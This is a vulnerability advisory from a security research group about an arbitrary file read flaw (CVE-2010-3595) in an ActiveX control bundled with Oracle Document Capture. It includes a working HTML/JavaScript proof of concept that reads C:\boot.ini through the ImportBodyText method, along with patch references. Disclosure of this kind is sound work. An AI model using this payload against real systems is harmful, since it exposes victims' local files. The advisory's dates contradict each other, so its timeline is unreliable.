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EasyMail ActiveX Control (emsmtp.dll) that included into Oracle Document Capture distrib can be used to read any file in target system

Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal #DSECRG-00117)

Application: Oracle Document Capture
Versions Affected: 10.1350.0005
Vendor URL: http://www.oracle.com/technology/software/products/content-management/index_dc.html
Bugs: Unsecure READ method
Exploits: YES
Reported: 29.01.2010
Second report: 02.02.2010
Date of Public Advisory: 24.01.2010
CVE: CVE-2010-3595
Authors: Alexey Sintsov
by Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)

Description
***********

EasyMail ActiveX Control (emsmtp.dll) that included into Oracle Document Capture distrib
can be used to read any file in target system. Vulnerable method is "ImportBodyText()".

Details
*******

For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method then control will
open and read file "C:\boot.ini". Content of boot.ini will be loaded into property "BodyText" .

Class EasyMailSMTPObj
GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}
Number of Interfaces: 1
Default Interface: IEasyMailSMTPObj
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False

Example:
*******

<HTML>
<HEAD>
<TITLE>DSECRG</TITLE>
</HEAD>
<BODY>

<OBJECT id='ora' classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>

<SCRIPT>

function Exploit(){
ora.ImportBodyText("C:\\boot.ini");
document.write("Try to read c:\\boot.ini:<br><br>"+ora.BodyText);
}
Exploit();

</SCRIPT>
</BODY>
</HTML>

References
**********

http://dsecrg.com/pages/vul/show.php?id=307
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html

About
*****

Digital Security:

Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions.

Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com